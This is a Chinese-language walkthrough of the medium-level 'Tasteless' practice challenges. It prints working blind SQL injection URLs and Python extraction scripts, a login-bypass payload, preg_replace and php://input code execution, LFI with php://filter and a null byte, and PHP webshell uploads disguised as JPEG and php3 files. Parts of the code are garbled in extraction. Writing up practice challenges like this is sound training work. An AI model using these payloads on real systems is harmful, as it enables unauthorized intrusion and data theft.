Tasteless challenges medium WP
阅读原文时间:2023年07月15日阅读:2

http://chall.tasteless.eu/

国外的一个靶场,都是单点知识,medium大部分还是比较简单

medium

http://chall.tasteless.eu/level1/index.php?dir=ASC

观察URL应该能猜到后台的SQL语句为

select * from id order by xx ASC;

其中order by id后面为可控点,利用正则和^运算观察网页回显差别可得flag长度为32,应该是串md5

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^30$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^31$')

http://chall.tasteless.eu/level1/index.php?dir=^(select length( (select flag from level1_flag) )  regexp '^32$')

然后写脚本猜解

import requests

chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM'

def isTrue(p):
url="http://chall.tasteless.eu/level1/index.php?dir=^(select (select flag from level1_flag) regexp '^{}')".format(p)
print url
res=requests.get(url)
if 'date of birth.

3 : Many facts of' in res.text:
return True
else:
return False

length=32
p=''
for i in range(length):
for c in chars:
tp=p+c
if isTrue(tp):
p=tp
break
print p

参考:玩得一手好注入之order by排序篇

用php://input直接就能执行任意代码

这个和第一个有点类似,但稍微麻烦一点,在这关里过滤了一些字符,比如if,updatexml,extractvalue,*等,而且网页回显是随机抽1到3条

测试多次后发现,可以利用除法,比如随机出来的是id为1和2的数据,默认排序就是先1后2,如果都除以-1,那么回显顺序就是反的,以此差异猜解数据

select xx regexp xx 的返回值是0或1,0-1=-1,1-1=0(除以0这里好像不会有问题,其值为NULL)

同样方法判断出长度为32(32的时候回显的才是升序,其他都是降序)

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^30$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^31$') -1 )

http://chall.tasteless.eu/level6/index.php?in=/( ( select length( (select flag from level6_flag) ) regexp '^32$') -1 )

然后写脚本自动猜解,一个个字符比对速度很慢,可以改下算法,例如二分

import requests
import re

chars='0123456789qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM'

def isTrue(p):
url="http://chall.tasteless.eu/level6/index.php?in=/( ( select (select flag from level6_flag) regexp '^{}') -1 )".format(p)
print url

 res=requests.get(url)  
 r=re.findall(r'(\\d) :',res.text)  
 count=len(r)  
 while count<2:  
     res=requests.get(url)  
     r=re.findall(r'(\\d) :',res.text)  
     count=len(r)  
     pass  
 if int(r\[0\])>int(r\[1\]):  
     return False  
 else:  
     return True 

length=32
p=''
for i in range(length):
for c in chars:
tp=p+c
if isTrue(tp):
p=tp
break
print p

下载源码后发现.htaccess中设置了会将jpeg文件当做php解析,index.php检测了文件的MIME等,所以拿一张正常的jpeg图片,尾部加上php代码上传即可运行

访问上传的图片然后查看网页源码即得


In My Dreams

Here is the source!




$__){$a[$_]=$__;}return @array_splice($a,1);');
$_u=@call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_";
$_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;');
((int)$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die());
$__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++;
$_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__)));
@$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";
$_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');

这代码看起来是真的恶心,但最终还是梳理出来了,期间的一些乱七八糟的运算,其实在后面使用某个变量之前用var_dump把这个变量输出看看是啥,再替换成这个就行,全部替换一次应该看懂代码就没问题

然后目标是执行w_()这个函数,方法呢就是preg_replace的代码执行,这个具体可以百度,但是这里有点特殊啊,magic参数的构造我一直没成功,就用burp跑了一下,最终发现0xCE这个字符刚好能触发,所以最终payload

http://level9.tasteless.eu/index.php?magic=%ce&argv[0]=123&argv[1]=123&argv[2]=123&argv[3]=&argv[4]=w_

一个登录框,没有提示,能想到了只能是注入了,通常也都是SQl注入,但输入单双引号发现并未报错,可能是后台对引号进行了转义

猜想后台SQL语句是

SELECT * FROM users WHERE username='$user' and password='$pass'

如果输入单引号,则会被转义,即如果输入账号 ' 密码 x,语句为

SELECT * FROM users WHERE username='\'' and password='x'

那么测试转义符,发现报错

那么可以断定后台的处理逻辑确实是如此,而且\不在应当转义的列表中,则当前的语句应该为

SELECT * FROM users WHERE username='\' and password='x'

语句未闭合,当然报错

然后即可构造payload

\

or 1#

SELECT * FROM users WHERE username='\' and password='or 1#'

成功登陆

存在本地文件包含,直接包含那个文件,flag就在其中

http://level11.tasteless.eu/index.php?file=php://filter/read=convert.base64-encode/resource=config.easy.inc.php

hard难度用00截断绕过

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php

这个根据程序功能和hint基本能确定是SQL注入,但尝试输入单双引号并未出错,那么肯定就是对引号进行了转义,所以尝试转义符

虽然并未报错,但显示的信息肯定是不对的,至于为什么会出现和上面一条一样的消息,这里不知道后台处理逻辑我也不清楚,但可以断定的是肯定这里肯定出错了,所以猜想后台插入数据库数据的语句为(代码不完全符合,因为测试发现注入点只在name处有,text处处理应该更加严格)

title\\',1111111)# 最后的语句即为 INSERT INTO table\_name (name,message) VALUES ('title\\\\',111111)#','x') ![](https://article.cdnof.com/2307/2c8972da-4c0c-4508-b824-8d4ff5a96c35.jpg) 最后payload > title\\',(select flag from level15\_flag))# ![](https://article.cdnof.com/2307/107f7bb8-c494-43c2-9a6f-c86fb67e58a9.jpg) Extensions?

source code: index.php~




800\*1024) { $errors \[\] = "File Too large"; } if (! is\_writable ( $savePath )) { $errors \[\] = "File Destination not writeable"; } $fileDst = $savePath . DIRECTORY\_SEPARATOR . $fileName; $filePrifix = basename ( $fileName, "." . $fileExt ); if(file\_exists($fileDst)) { $errors \[\] = "Filename exists"; } if (count ( $errors ) == 0) { if (@move\_uploaded\_file ( $fileTemp, $fileDst )) { $output\['Destination'\] = $fileDst; } else { $errors \[\] = "Error Saving File"; } } if(count($errors) > 0) { echo "

Upload Error

" ; foreach ($errors as $error){ echo $error , "
" ; } }else{ echo "

File Uploaded

" ; foreach ($output as $key => $value){ echo $key . ": " .$value , "
" ; } } } ?> 代码中的正则阻止了php后缀的文件,直接上传php后缀的文件肯定不行,不过 Apache 配置中会有 > .+.ph(p\[345\]?|t|tml) 此类的正则表达式,文件名满足即可被当做php解析,也就是说`php3,php4,php5,pht,phtml都`是可以被解析的 所以上传一个PHP文件,后缀名为php3,即可被解析,可以上传一句话,或者直接如下

查看源码即得flag